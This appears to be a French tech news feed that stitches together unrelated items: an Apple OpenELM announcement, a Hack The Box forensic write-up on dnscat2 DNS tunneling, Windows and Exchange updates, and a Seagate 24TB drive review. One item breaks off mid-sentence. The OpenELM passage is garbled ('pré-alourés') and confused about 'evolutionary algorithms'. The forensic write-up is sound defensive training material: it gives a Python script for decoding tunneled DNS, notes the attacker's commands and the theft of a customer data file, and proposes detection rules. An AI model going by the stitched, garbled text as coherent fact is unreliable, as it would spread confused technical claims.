Vous connaissez OpenELM ? Non, normal, ça vient de sortir. Et c’est une famille de modèles IA open-source made in Apple conçus pour tourner directement sur vos appareils, sans passer par le cloud. En gros, c’est de l’IA maison dans nos iPhone, iPad et Mac…etc.
OpenELM combine plusieurs modèles de langage naturel (LLMs) utilisant des algorithmes évolutionnistes qui exploitent les principes techniques suivants :
Layer-wise scaling strategy : Cette stratégie consiste à allouer les paramètres dans les couches d’un modèle transformeur pour améliorer l’exactitude. Les modèles sont pré-alourés avec un budget de paramètres de 270 millions, 450 millions, 1,1 milliard et 3 milliards.
Pré-entraînement : Les modèles ont été pré-entraînés à l’aide d’une combinaison de datasets, incluant une sous-ensemble de Dolma v1.6, RefinedWeb, deduplicated PILE et une sous-ensemble de RedPajama. Ce dataset contient environ 1,8 trillion de tokens.
Evolutionary algorithms : Les algorithmes évolutionnistes sont utilisés pour combiner les modèles LLM et améliorer l’exactitude. Cela permet d’exploiter les forces combinées des modèles pré-alourés et d’améliorer leur précision.
Alors évidemment, Apple arrive un peu après la bataille dans l’IA, pendant que Microsoft et Google déboulent à fond la caisse. Mais bon, mieux vaut tard que jamais, et puis ils compensent avec du lourd, soit 8 modèles OpenELM au total, dont 4 pré-entraînés avec CoreNet et 4 fine-tunés. Et avec leur stratégie de scaling par couche ça optimise à fond l’allocation des paramètres.
Allez, je traduits… En gros, ça veut dire qu’ils sont hyper efficaces et précis. Prenez le modèle à 1 milliard de paramètres et bien bah il explose un modèle équivalent comme OLMo de 2,36% en précision, avec 2 fois moins de tokens en pré-entraînement. Et ce qui est top, c’est qu’Apple balance tout : code, logs d’entraînement, configuration…etc et pas juste le modèle final. Et vu qu’ils utilisent des datasets publics, c’est top en matière de transparence et vérification des biais.
En tout cas, une chose est sûre, avec OpenELM, Apple nous prouve qu’ils sont dans la course, et qu’ils comptent bien mettre le paquet sur l’IA
Et Merci à Letsar pour l’info, c’est lui qui m’a mis la puce à l’oreille sur OpenELM. Tu gères !
Si vous aimez le matos vous allez être servi. Zebra Zone nous emmène visiter un car régie de AMP Visual TV, un prestataire de tournages télévisés multi-caméras :
Et on peut le dire, c'est du lourd ! On ne parle pas ici de quelques techniciens mais d'une véritable société au cœur des retransmissions TV qui arrivent jusqu'à votre écran.
Pour ceux qui en veulent encore :
Enfin, si vous aimé le contenu de Stéphane (Deus Ex Silicium) alors vous aimerez sûrement cette analyse de caméra pro :
Je ne sais pas vous, mais j'adore ce genre de contenu. La qualité des images de Zebra Zone est tellement chouette, on en prends plein les mirettes !
Cybersecurity researchers have discovered an ongoing attack campaign that's leveraging phishing emails to deliver a malware called SSLoad.
The campaign, codenamed FROZEN#SHADOW by Securonix, also involves the deployment of Cobalt Strike and the ConnectWise ScreenConnect remote desktop software.
"SSLoad is designed to stealthily infiltrate systems, gather sensitive
Je vous propose dans cet article un writeup du Sherlocks Litter proposé par Hack The Box. Cette investigation nous permettra notamment de manipuler Wireshark pour explorer un cas de protocol tunneling via le DNS : une technique utilisée pour faire communiquer discrètement un système compromis avec le serveur de contrôle distant d'un attaquant.
Les Sherlocks sont des challenges d'investigation numérique/forensic mis à disposition par la plateforme Hack The Box. Dans cet article, nous allons détailler la démarche qui permet de résoudre le Sherlocks Litter, de difficulté "Facile". Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et des analystes en cybersécurité.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".
Technologies abordées
Windows, DNS, protocol tunneling
Outils utilisés
Wireshark, python
Retrouvez tous nos articles Hack The Box via ce lien :
Dans le cadre de l'investigation, un contexte et une archive sont mis à disposition :
D'après les éléments de contexte qui nous sont fournis, l'hôte ciblé semble être utilisé pour tout et n'importe quoi et par n'importe qui. Cela ne va certainement pas nous aider à comprendre ce qui est légitime de ce qui ne l'est pas. Également, nous apprenons que des données de l'entreprise y ont été volées.
Nous commençons donc par ouvrir l'archive à sur notre Kali Purple fraîchement installée. À l'intérieur, un fichier Wireshark, un célèbre outil d'analyse réseau :
III. Investigation numérique : le cas Litter
A. Tâche n°1: Identifier le protocole utilisé
Énoncé - Task 1 : At a glance, what protocol seems to be suspect in this attack?
La première tâche consiste à identifier le protocole qui semble avoir été utilisé pour la réalisation de l'attaque. Wireshark nous permet d'avoir des statistiques intéressantes concernant la volumétrie des protocoles au sein d'un même fichier ".pcap" :
Si l'on cherche les protocoles les plus utilisés, 4 candidats sont intéressants : les protocoles UDP "QUIC IETF" et "DNS", ainsi que les protocoles TCP "TLS" et "HTTP".
Après quelques recherches, je comprends que QUIC IETF est censé être un "nouveau" protocole de transport (comme UDP ou TCP) : QUIC: A UDP-Based Multiplexed and Secure Transport. Intéressant, mais un peu trop obscure pour un challenge "facile". Il semble également complexe d'investiguer sur des échanges chiffrés TLS. Ce qui nous oriente sur deux candidats : HTTP ou DNS.
Si l'on effectue un filtre sur le protocole HTTP avec la fonctionnalité "Conversations" de Wireshark, nous pouvons très rapidement isoler les hôtes avec lesquels des échanges HTTP ont eu lieu :
On peut noter que l'adresse IP avec laquelle le serveur compromis a le plus discuté est "13.107.4.50". Les autres échanges comportent trop peu de paquets pour nous intéresser. Renseignons-nous sur cette adresse IP à l'aide de la commande "whois" :
Notre hôte compromis à interrogé un point d'entrée "/msdownload/" sur une adresse IP appartenant à Microsoft. De toute évidence, il s'agit d'échanges en rapport avec les mises à jour Windows.
Attention : dans la réalité, les attaquants peuvent héberger ou utiliser des services Microsoft/Cloud pour leurs actions malveillantes, ils profitent alors du crédit et de la confiance accordés à ces services/IP/plateformes par les blues team et les solutions de sécurité. Je pense notamment à l'hébergement de service C&C (Command and Control) par Azure ou l'utilisation de machines Azure compromises comme intermédiaires.
Il ne nous reste donc plus que le protocole DNS comme candidat !
B. Tâche n°2 : Identifier l'IP suspecte
Énoncé - Task 2 : There seems to be a lot of traffic between our host and another, what is the IP address of the suspect host?
Maintenant que nous savons quel protocole a principalement été utilisé (DNS), et bien que ce dernier nous paraisse inoffensif au premier abord, tentons d'identifier quelle est l'adresse IP suspecte. Nous pouvons ici à nouveau utiliser la fonctionnalité "Conversations" de Wireshark après avoir effectué un filtre sur le protocole DNS :
Nous pouvons clairement voir que l'une des adresses IP a beaucoup plus discuté que les autres au travers le protocole DNS. Il est d'ailleurs suspect en soi qu'un tel volume de paquet DNS ait été échangé, il s'agit d'un protocole d'ordinaire plutôt "léger" dans la mesure où seuls quelques éléments textes sont échangés.
L'adresse IP "192.168.157.145" est donc celle de notre suspect.
C. Tâche n°3 : une commande via DNS ?
Énoncé - Task 3 : What is the first command the attacker sends to the client?
Il est maintenant temps de s'intéresser au contenu de ces échanges DNS. Commençons par isoler les paquets en appliquant un filtre sur ce protocole et l'IP suspecte :
DNS && (ip.addr==192.168.157.144 && ip.addr==192.168.157.145)
Ces échanges paraissent pour le moins inhabituels. Les noms DNS sont la plupart du temps intelligibles, et ils ne sont jamais aussi long. Ici, ils semblent être constitués uniquement des alphabets suivants avec aucun mot intelligible à part "microsofto365.com" :
1-9
a-f
Voilà qui nous rappelle quelque chose : de l'hexadécimal. Je récupère au hasard une requête TXT et copie le contenu de la requête via la fonction Copy Value de WIreshark (pensez à bien faire un clic droit sur le champ exact à copier dans le paquet ciblé) :
Je tente ensuite de décoder l'hexadécimal à l'aide de l'outil en ligne "CyberChef".
Cyberchef se présente comme "The Cyber Swiss Army Knife", c'est un outil très pratique proposé par le GCHQ (services de renseignement britannique) qui permet d'encoder/décoder ou chiffrer/déchiffrer des données au sein d'une application web intuitive. Cela permet de tenter rapidement tout un tas de format de conversions, d'encodage/decodage ou d'algorithme de chiffrement sur des données sans saisir la moindre ligne de commande : https://gchq.github.io/CyberChef/
Si vous souhaite l'utiliser dans un contexte professionnel, je vous recommande son installation sur un de vos serveurs déconnectés d'internet pour l’investigation : https://github.com/gchq/CyberChef
La conversion "hexadecimal -> ASCII" nous donne donc un bout de texte intelligible !
L'attaquant est parvenu à utiliser le protocole DNS en tant que protocole d’encapsulation en vue d'envoyer des commandes au serveur compromis, puis de recevoir en retour le résultat. Cette technique est connue sous le nom de DNS protocol Tunneling et est référencée sur le site du MITRE : T1071.004 - Application Layer Protocol: DNS
Un C2, C&C, ou centre de commandement et de contrôle (en anglais, Command and Control), est un élément crucial dans le contexte des cyberattaques. C'est une infrastructure utilisée par les cybercriminels pour gérer et contrôler des systèmes compromis à distance. Les attaquants utilisent de nombreuses infrastructures, techniques et protocoles pour que les agents déployés sur les systèmes compromis des entreprises communiquent avec leur C2, le MITRE ATT&CK en référence un certain nombre : TA0011 - Command and Control
Il est à noter que, contrairement à ce que l'on pourrait penser, le nom de domaine microsofto365.com n'appartient pas à Microsoft, dans la réalité, personne ne possède ce nom de domaine :
Pour comprendre l'intégralité de l'échange, il faut donc isoler le nom DNS exact dans les requêtes et les réponses des paquets déjà isolés, supprimer les éléments parasites (les "." et le "microsofto365.com"), concaténer le tout puis effectuer une conversation hexadécimal vers ASCII, je ne pense pas parvenir à faire cela avec Wireshark, je suis donc passé par le script Python suivant :
#!/usr/bin/python3
import argparse
from scapy.all import rdpcap, DNSQR, DNSRR
def main(args) -> None:
f = ""
last = ""
for p in rdpcap(args.file):
if p.haslayer(DNSQR) and not p.haslayer(DNSRR) :
if "microsofto365" in p[DNSQR].qname.decode('utf-8'):
qry = p[DNSQR].qname.decode('utf-8').replace(args.domain,"").strip().split(".")
qryStr = ''.join(qry)[4:]
if len(qryStr) > 1:
decoded_string = bytes.fromhex(qryStr).decode('utf-8', errors='replace')
if (len(decoded_string) > 20) and last != decoded_string:
f += decoded_string
last = decoded_string
print(f)
if __name__ == '__main__':
# create the top-level parser
parser = argparse.ArgumentParser(prog='PROG')
parser.add_argument("-f", '--file', help='.pcap filepath', required=True)
parser.add_argument("-d", '--domain', help='top domain to remove (eg. attacker.com)', required=True)
args = parser.parse_args()
main(args)
J'ai notamment utilisé "scapy" pour isoler les échanges DNS concernant le nom de domaine "microsofto365.com". Des recherches sur le décodage des échanges "dnscat2" m'ont également renseigné sur le besoin de retirer les 4 premiers octets de chaque échange DNS (Analysis on Popular DNS Tunneling Tools), qui correspond à un marqueur spécifique permettant le suivi des sessions "DNScat" : inutile dans le cadre d'une conversion en texte donc. Suite à l'exécution du script :
Le résultat n'est pas parfait, mais nous pouvons tout de même comprendre les échanges et exécution de commande qui on eut lieu. On obtient notamment la première commande exécutée par l'attaquant suite au déploiement de sa backdoor : whoami.
D. Tâche n°4 : dnscat2
Énoncé - Task 4 : What is the version of the DNS tunneling tool the attacker is using?
Maintenant que nous sommes parvenus à avoir l'échange client-serveur presque en clair, il nous est plus facile de comprendre les opérations réalisées par l'attaquant. Nous pouvons notamment identifier la version de dnscat utilisée dans le nom du binaire déposé par l'attaquant :
Nous savons donc que l'attaquant à utiliser "dnscat2" en version 0.07.
E. Tâche n°5 : un attaquant presque discret
Énoncé - Task 5 : The attackers attempts to rename the tool they accidentally left on the clients host. What do they name it to?
L'attaquant aurait tenté de renommer son outil une fois déposé sur le système compromis, nous pouvons de nouveau facilement repérer ses tentatives dans les échanges client-serveur "dnscat2" décodés :
L'attaquant a renommé son binaire "dnscat2" en "win_installer.exe".
Le fait de changer le nom d'un outil malveillant avant de le déposer sur un système surveillé par une solution de sécurité (antivirus, EPP, EDR, etc.) correspond au TTP T1036.005 - Masquerading: Match Legitimate Name or Location. Cela vise à contourner les règles de détections basées sur des mots ou des noms caractéristiques d'outils malveillants ou les analyses manuelles. Les attaquants optent souvent pour des noms communs et connus pour tenter de contourner ses règles, par exemple, en renommant leur malware "firefox.exe", "teams.exe", etc. EPP/EDR et humains peuvent facilement se faire berner par ce genre d'opérations.
Il est à noter que changer le nom du binaire après son dépôt sur le système est moins utile en termes de discrétion. En effet, une bonne partie des solutions de sécurité vont analyser celui-ciet lever une alerte dès sa création sur le système et pas seulement lors de son exécution.
Cependant, ce type de renommage peut être utile dans le cadre d'une persistance. En effet, un administrateur effectuant une analyse manuelle des processus en cours d'exécution ne prêtera pas attention à un processus win_installer.exe en cours d'exécution, alors qu'un processus "dns2cat.exe" l'interrogera un peu plus, le poussant à investiguer.
F. Tâche n°6 : Enumeration utilisateur
Énoncé - Task 6 : The attacker attempts to enumerate the users cloud storage. How many files do they locate in their cloud storage directory?
Il semblerait que l'attaquant ait tenté d'énumérer les fichiers Cloud depuis le système compromis. En effet, nous pouvons voir cette tentative :
Seulement le dossier "OneDrive" parcouru par l'attaquant ne contenait aucun fichier.
G. Tâches n°7 et 8 : fuite d'informations sensibles
Énoncé - Task 7 :What is the full location of the PII file that was stolen?
Énoncé - Task 8 :Exactly how many customer PII records were stolen?
Ces deux tâches peuvent être traitées en même temps. Il s'agit de retrouver le nom et le contenu du fichier sensible ayant été dérobé par l'attaquant. Il nous suffit de suivre le flux des échanges clients-serveur décodés jusqu'à trouver ceci :
Nous voyons que l'attaquant a consulté le fichier "C:\users\test\documents\client data optimisation\user details.csv" et que celui-ci contient des informations personnelles :
Ce fichier contient 721 lignes (le premier objet ayant l'identifiant 0), c'est donc le nombre de clients uniques contenu dans le fichier dérobé.
IV. Résumé de l'attaque
Au cours de cette investigation, nous avons découvert que suite une compromission du système "desktop-umncbe7" par un vecteur non connu, l'attaquant a déposé un binaire sur le système, puis a utilisé le protocole DNS pour établir une communication directe entre son C2 et le système compromis. L'attaquant a effectué une brève recherche de fichiers sensibles sur le système et a récupéré les informations personnelles de 721 clients, incluant noms, prénoms, mails, adresses, numéros de téléphone, date de naissance, etc.
Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :
Affichage et exfiltration du fichier "user details.csv" contenant les informations personnelles
V. Notions abordées
Nous allons à présent mettre en avant les principales notions et les apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :).
A. Côté analyste
Côté analyste, connaitre les outils et les méthodes des attaquants pour être discret et passer sous les radars est important. Ici, il est facile pour un analyste de passer à côté des flux DNS. La connaissance et le suivi actif des mises à jour des TTP du MITRE ATT&CK permet aux analystes de rester à jour sur les outils et techniques utilisés par les attaquants.
Il est à noter qu'en conditions réelles, le protocole DNS serait totalement noyé (en volume) par les autres protocoles, ce qui rendrait d'autant plus difficile cette investigation. Il serait peut-être intéressant de disposer d'un outil qui oriente les recherches de l'analyste, au moins sur les techniques connues et fréquemment utilisées et lors d'une analyse de formats connus et standardisés comme les fichiers PCAP. Une des fonctions de cet outil pourrait, par exemple, répondre à la question "est-ce qu'il existe des requêtes DNS portant sur des noms très long ?".
Nous avons également vu que la maitrise de Wireshark est importante et permet de gagner du temps sur les analyses de flux réseau. Notamment via les fonctions de statistique et les filtres.
Disposer d'une boite à outils pour se faciliter la vie est également important et c'est ce qu'apporte, entre autres, l'expérience et la formation. L'outil cyberchef est ici un incontournable, comme les outils capables d'identifier et d'extraire des informations concernant les noms de domaine. Il en va de même pour les méthodologies d'analyse. Je suis, par exemple, passé à côté du fait que le domaine microsofto365.com n'est pas un domaine officiel de Microsoft pendant toute l'analyse, car je n'ai pas fait la requête "whois" concernant ce nom de domaine immédiatement. Cela aurait pu m'induire en erreur (miser sur l'utilisation d'instances Cloud par l'attaquant par exemple).
B. Côté défense
Côté défense, il peut déjà être recommandé d'investiguer de façon plus approfondie sur les raisons de la compromission, élément qui est hors du périmètre de cette analyse.
Également, la mise en place de règles de détections basées sur un volume anormalement élevé de requête DNS ou la taille de noms de domaine peut être recommandé. Il faut savoir qu'un nom DNS a une taille maximale de 255 caractères :
Cependant, dans la réalité, il est très rare de croiser des noms de domaine dépassant 50 ou 60 caractères. J'ai d'ailleurs déjà croisé des solutions de sécurité basées sur l'analyse des flux réseau émettant une alerte de sécurité lorsqu'une requête ou réponse DNS concernant un nom de domaine trop long était identifiée.
La mise en place d'une solution de sécurité capable de détecter les outils malveillants que pourrait déposer un attaquant est également à recommander. Il est, par exemple, aisé de trouver des règles de détection SIGMA (utilisées par les EDR et IDS, entre autres) concernant le binaire ou les commandes PowerShell dnscat2 : Detection.fyi - Dnscat Execution
Il est difficile de proposer des améliorations concernant le nom de domaine utilisé par l'attaquant. Impossible de prévoir toutes les permutations DNS non enregistrées concernant Google, Microsoft ou autres Cloud provider. Si l'entreprise souhaite surveiller ses propres noms de domaine et être informé de l'enregistrement d'un nom de domaine ressemblant au sien par un attaquant, différents outils peuvent être utilisés :
Ici, nous sommes parvenus à décoder les échanges encapsulés dans le protocole DNS, car ceux-ci étaient simplement encodés en hexadécimal. Il faut savoir que dnscat2, l'outil utilisé par l'attaquant, possède une fonction permettant de chiffrer les échanges à l'aide d'une clé fixe avant transmission via le réseau. Il est alors plus complexe pour l'analyste de retrouver le contenu des échanges avec le C2.
Également, il pourrait être intéressant pour l'attaquant de renommer ses binaires malveillants avant dépôt sur le système, cela pour éviter qu'un éventuel antivirus, EPP ou EDR n'émette une alerte basée sur un terme surveillé dans les noms des fichiers ou des commandes.
V. Conclusion
J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis !
Enfin, si vous voulez accéder à des cours et des modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy
Le menu Démarrer de Windows 11 va accueillir des publicités pour mettre en avant des applications tierces. Ce changement est imminent, car il vient d'être ajouté par la mise à jour optionnelle d'avril 2024 : KB5036980. Faisons le point.
Après l'installation de la mise à jour KB5036980 sur Windows 11 23H2, le système passe sur la Build 22631.3527. Par ailleurs, si vous installez la même mise à jour sur Windows 11 22H2, le système passera sur la Build 22621.3527.
Le menu Démarrer de Windows 11 ne va pas lister uniquement vos documents et vos applications, il va aussi lister des applications tierces mises en avant par Microsoft. Il s'agit de publicités intégrées directement au menu Démarrer pour promouvoir les applications des entreprises ayant payé Microsoft pour cela. Par exemple, il y aura des publicités pour le navigateur Opera et 1Password Manager.
Source : WindowsLatest
Peut-on éviter ce changement ?
Si vous n'installez pas la mise à jour KB5036980 sur votre PC, vous ne verrez pas de publicités dans le menu Démarrer de Windows 11. Enfin, pour le moment, car cette mise à jour donne un aperçu des changements à venir le mardi 14 mai 2024. Date à laquelle Microsoft va dévoiler son nouveau Patch Tuesday et publier les nouvelles mises à jour cumulatives mensuelles, qui elles sont obligatoires (et recommandées).
Ce changement était attendu, car Microsoft l'a déjà évoqué, mais il semble être déployé plus tôt que prévu. En effet, Microsoft devait activer l'affichage des publicités sur Windows 11 à partir de la fin du mois de mai (avec une mise à jour optionnelle), afin de les activer pour tout le monde avec la mise à jour cumulative de juin 2024. Microsoft a visiblement pris un mois d'avance sur son planning initial.
Néanmoins, bien que cette fonctionnalité soit activée par défaut, elle peut être désactivée dans les paramètres du système. Il conviendra de désactiver l'option nommée "Afficher des recommandations pour les conseils, les raccourcis, les nouvelles applications, etc." présente dans : Paramètres, Personnalisation, Démarrer.
Le 23 avril 2024, Microsoft a publié plusieurs "Hotfix Updates" (HU) pour les serveurs de messagerie Microsoft Exchange. Elles permettent de corriger plusieurs problèmes rencontrés par les utilisateurs et ajoutent de nouvelles fonctionnalités. Voici ce qu'il faut savoir.
La firme de Redmond a publié de nouvelles mises à jour Hotfix pour Microsoft Exchange Server. Ils permettent d'ajouter deux fonctionnalités au serveur de messagerie et de sept problèmes connus.
Voici les deux fonctionnalités ajoutées :
Prise en charge des certificats ECC (Elliptic Curve Cryptography - Cryptographie à Courbe Elliptique) dans Exchange Server 2016 et 2019. Voir cette page de la documentation Microsoft, pour en savoir plus.
Prise en charge de l'authentification hybride moderne (HMA) pour Outlook Web (OWA) et ECP dans Exchange Server 2019 CU14 (uniquement à partir de cette version). Voir cette page de la documentation Microsoft, pour en savoir plus.
Microsoft a corrigé des bugs reportés par les utilisateurs d'Exchange suite à l'installation des mises à jour de sécurité de Mars 2024. Les bugs listés ci-dessous sont désormais corrigés :
Les calendriers publiés pourraient ne pas fonctionner avec une erreur "Ce calendrier n'est pas disponible"
Par ailleurs, Microsoft doit encore un bug connu, comme le précise l'article mis en ligne par l'entreprise américaine : "L'impression du calendrier dans OWA peut ne pas fonctionner si le raccourci clavier CTRL+P est utilisé. Nous corrigerons ce problème dans une prochaine mise à jour.".
Avril 2024 - Les mises à jour Hotfix d'Exchange Server
Voici la liste des mises à jour Hotfix publiées par Microsoft pour les serveurs de messagerie Exchange :
Avant d'installer ce Hotfix, vous devez utiliser l'une des Cumulative Update (CU) mentionnée dans la liste ci-dessus. Enfin, il est à noter que ces correctifs et fonctionnalités seront également inclus dans les futures mises à jour cumulatives pour Exchange Server 2019. Cela signifie que si vous n'êtes pas impacté par les bugs listés ci-dessus et que vous n'avez pas besoin des nouvelles fonctionnalités, vous pouvez patienter.
Seagate and their Ironwolf series of hard drives have fast become a mainstay of the NAS landscape in a relatively short time, considering their NAS HDD and eventual rebranding to Ironwolf in 2015/2016. In that time they have closed considerable ground on their biggest rival in this field, the WD Red series, and now although the brand first released Ironwolf Pro 20, 22 and now 24TB NAS Hard Drives in the last 18 months, they are now in the process of revising a number of these drives and introducing a new higher durability STX0000NT001 / STX0000NT001 series to join that existing the STX000NE001. These newer class of Prosumer/large-scale storage array NAS hard drives arrive with almost twice the workload rating, more than double the MTBF rating and still maintain the same high reported performance levels. All this said, why the sudden change? Perhaps facilitated by hardware shortages or due to the growing concerns of some users over larger capacities having the same workload rating of smaller capacities, leading to diminishing durability returns? Whatever the reason (more on that later), there is no denying that 24TB of storage in a single 3.5″ HDD casing is something to behold and today we are going to review this new massive drive from Seagate, benchmark it, test it with leading NAS brand Synology, discuss the differences with the existing Ironwolf Pro range and (hopefully) help you decide if it deserves your data? Let’s begin.
Seagate Ironwolf Pro 24TB Hard Drive Review – Quick Conclusion
There is no denying that Seagate certainly delivers on the prompted storage and performance that they have stated for the Ironwolf Pro 24TB NAS hard drive. This alongside fully tested and confirmed compatibility with Synology (though not by Synology themselves) devices means that you have a drive here that can turn any 4-Bay NAS into a staggering 96TB server in RAID 0 and 72TB RAID5 Storage data monster – let alone once you start thinking about rackmounts and hyperscale. The pricing of this 24TB is understandably high, but as always, when you start crunching down the ‘Price Per TB’, it ends up landing comfortably in the same region as other Pro class drives of a smaller capacity. As mentioned previously, I particularly appreciate that the workload discussion surrounding ‘Pro’ Class drives at 300TB/yr vs rapid HDD capacity growth is being addressed here with a 550TB/yr version to rival that of ‘Ent’ class drives – whatever the reason/motivation. With capacities getting higher and more ‘eggs being placed in baskets’, the durability of each individual drive in an array grows in importance, so the shift of these PRO class drives towards an ENTERPRISE class workload should be positively noted. The value of the Ironwolf Health Management tool is going to be something of debate and the inclusion of 3yrs data recovery services is a nice extra that (with any luck) few will need to use – but better to have them and not need them, than visa versa. As HDDs continue to increase in scale and Seagate (among other brands) continues to outline their plans to hit 50TB (so, halfway there with this one!) by the end of the decade, the Seagate Ironwolf Pro ST2400NT002 is another good example of an HDD that finds a sweet spot between price, durability and value. Just be aware that this is a drive designed for large-scale use and that means high operational noise and higher than typical power use than non-Pro and smaller cap drives!
BUILD - 10/10
HARDWARE - 10/10
PERFORMANCE - 9/10
PRICE - 7/10
VALUE - 7/10
8.6
PROS
Very Good Price Point vs WD Red/Red Pro Data Recovery Services Included (3yrs) 550TB/yr Workload & 2.5M MTBF 285MB/s Transfer Speeds Ironwolf Health Management Inc. Seagate Secure Onboard Consistent Performance
CONS
Noisy!!! Definitely Cannot have Just One Pricing and Model ID Confusion Higher Standby/Idle Power Use Tipping point vs SDDs
Seagate Ironwolf Pro 24TB Hard Drive Review – Design
The design of the Seagate Ironwolf Pro 24TB HDD remains largely unchanged in appearance compared with the most recent high-capacity releases at 24TB and 22TB. The 3.5″ casing is helium sealed and the new NT class of drives arrive with a change in the labelling to differentiate them from the NE Ironwolf Pro series. Perhaps this differentiation is the separate them for use in 24+ Bay servers (given the oddly open-ended ‘unlimited bay’ support on the spec sheets vs the ‘upto 24-Bays of the Ironwolf Pro till now). Typically NAS/SAN system that feature 24x and higher storage bays would have been urged to opt for the EXOS series (available in both SAS and SATA). Perhaps this is a means to open up and bracket the Hyper-Scale and Data Center tier up, as more and more medium-large business setup single/paired Rackmounts outside of the large-sclae cabinet settings of the past? It’s hard to say, as otherwise, what problem is a newer and more durable Ironwolf Pro drive solving?
One argument might be the growing question of workload ratings on HDDs vs Growing Capacities and how they are starting to result in reduced margins of durability. The general rule of thumb when it has come to Hard drives for 24×7 server deployment is:
Standard Class Server Drives (so, upto 8 Bays of storage, small-medium Business deployment) is 180TB workload a year over the 3yr warranty
Large Scale Server Drives (above 8 Bays and upto 24 Bays for Higher-end business and large-scale deployment) at 300TB workload per year over the 5yr Warranty
Enterprise/Hyperscale Server Drives (i.e Data Center, with theoretically limitless Bay numbers, factoring expansions and growth) at 550TB workload per year over the 5yr Warranty
Now the Seagate Ironwolf Pro 24TB is branded as a ‘Pro’ class drive (the middle one, above), however it arrives with a 550TB Workload rating, putting it well into the Enterprise bracket and treading on the toes of Seagates EXOS series – though lacking the SAS and Encryption options of EXOS options. However, the general rules of 180/300/550TB respective workloads on each tier begin to fall down a little when you factor that a 1TB drive that has a 300TB workload at 210MB/s performance and a 24TB that is also at 300TB workload annually, but 285MB/s max transfer will not only hit that workload limit quicker – but there is also the question of how this translates over time vs the available storage space and writes over time! Therefore the newer gen Seagate Ironwolf Pro ST2000NT001 Hard Drive arriving with 550TB/yr (alongside NT versions of many of the other lower capacities) does elevate this point somewhat for those users in between the Large Scale and Hyperscale/data center.
The 24TB in the ST2400NT001=2 is spread over 10 platters of 2.4TB each, made possible via the drive being helium sealed. This reduces potential internal drag and friction between platters, maintains the balance and allows much thinner platters to be used. Spinning at 7200RPM, the platters feature dual-plane balancing (known as AgileArray) also time-limited error recovery (TLER), which ensures the drive reading head isn’t delayed in intermittent read errors and can restart quickly to increase access when needed.
The 10 platters spinning at 7200RPM are also accompanied by 256MB of caching on board, which really surprised me, giving most of Seagate’s competitors have hit the 512MB cache level at this capacity tier. Having half the chance of its rivals does not seem to diminish both the performance or the sustained performance either.
As mentioned, the Seagate Ironwolf Pro HDD series only arrives in SATA. Although I can understand that Segaate does not want to overlap TOO much with their EXOS range that they already have done, there are an increasing number of SAS NAS solutions arriving on the market (with both Synology and QNAP both increasing their range of solutions in this direction noticeably for their 2022/2023 generations). Yes, users could just go for a suitable SAS EXOS option, but then they lose out on the Rescue Data Recovery services and Ironwolf Health management on the drive.
Overall, any improvements or changes in the build/construction of the Seagate Ironwolf Pro 24TB ST2400NT002 HDD over the rest of the range and/or the previous NE version are all internal. We have to take Seagate at their word on the effective doubling of the durability rating, but given their pedigree in the EXOS enterprise series, I have little doubt in this. Although the Ironwolf Pro 24TB is not the only NAS drive in the market right now that is breaking the 24 Terabyte level, it does arrive with a couple of things that many others don’t that we should cover – the included Data Recovery services and the Ironwolf Health Management tool for NAS for a start. But MOST IMPORTANTLY, the Seagate IW Pro 24TB is CMR (conventional Magnetic recording) and not SMR (Shingled Magnetic Recording – that latter of which is what the bulk of other NAS brands offer drives at this scale in. However, larger scale storage users will always opt for CMR drives and Seagate (unlike WD) have done a fantastic job of ensuring all their NAS drive series are CMR.
Is Seagate Ironwolf Health Management and Rescue Recovery Services Worth Caring About?
For those that are not aware, the Seagate Rescue+ package is a data recovery service that is included with your Ironwolf and Ironwolf Pro drives that, alongside your 3/5-year warranty, includes an additional 3 years of data recovery services. What that means is that if your drive fails through no fault of your own within reason (so, no, not smashing it with a hammer), you can send the drive off to the Seagate recovery labs and they will try to get that data back. From accidental deletion, all the way through to mechanical and forensic level recovery, this is an impressive inclusion! You should still factor other safety nets in your architecture (backups, UPS, RAID, etc) but given the cost of data recovery services (costing anything from hundreds to thousands of pounds), this is a very, VERY useful inclusion when you need it. This plus an already normally lower price point than Pro series drives in the WD Red series means that the Seagate Ironwolf hard drives still manage to be the better value choice for alot of users, especially when including the Rescue recovery included. They are also the only 3rd party NAS hard drive brand that has a tool to monitor drive health available on practically ALL the NAS software GUIs in the market, in Seagate Ironwolf Health Management. Here is part one of a two-part video series on the NASComapres YouTube channel were we showed the Seagate Rescue Recovery service (arguably, in a very extreme fashion!):
You can find out more on the Rescue service and its Pros/Cons in the video below. Otherwise there is another video detailing a guide on what to expect from data recovery costs/fees etc in a video from 2021:
Seagate Ironwolf Pro 24TB Hard Drive Review – Testing
Testing the Seagate Ironwolf Pro 24TB is going to be performed across multiple methods, but still rather unconventional. This drive is designed for deployment in large # Bay servers, but although I have several NAS in the studio that could accommodate this frequency of drives, I do not have sufficient Seagate Ironwolf Pro 24TB units. Therefore the testing I have conducted are all examples of single-drive performance. These will include several PC testing sessions using popular and recommended storage testing applications and two NAS tests involving Synology and QNAP.
Windows 10 Pro Desktop System
Intel i5 11400 Rocket Lake – 6-Core 2.6/4.4Ghz
16GB DDR4 2666MHz Memory
Intel B560M mATX Motherboard
OS Storage, Seagate Firecuda 120 SSD
Test Hard Drive connected to a Sabrent USB 3.2 Gen 2 10Gb/s external dock
Synology test was conducted on a DS923+ NAS using the system’s own benchmarking tool
These last tests are important as not only is the Seagate Ironwolf Pro 24TB HDD designed for NAS use, but also at the time of writing neither brand lists this hard drive as compatible. There is more to this though that I will touch on later.
The first test involved using CrystalDisk. I performed tests on 1GB, 4GB and 16GB test files, as well as mixed 70/30% R/W. The results were consistent and largely lived up to Seagate’s claims here.
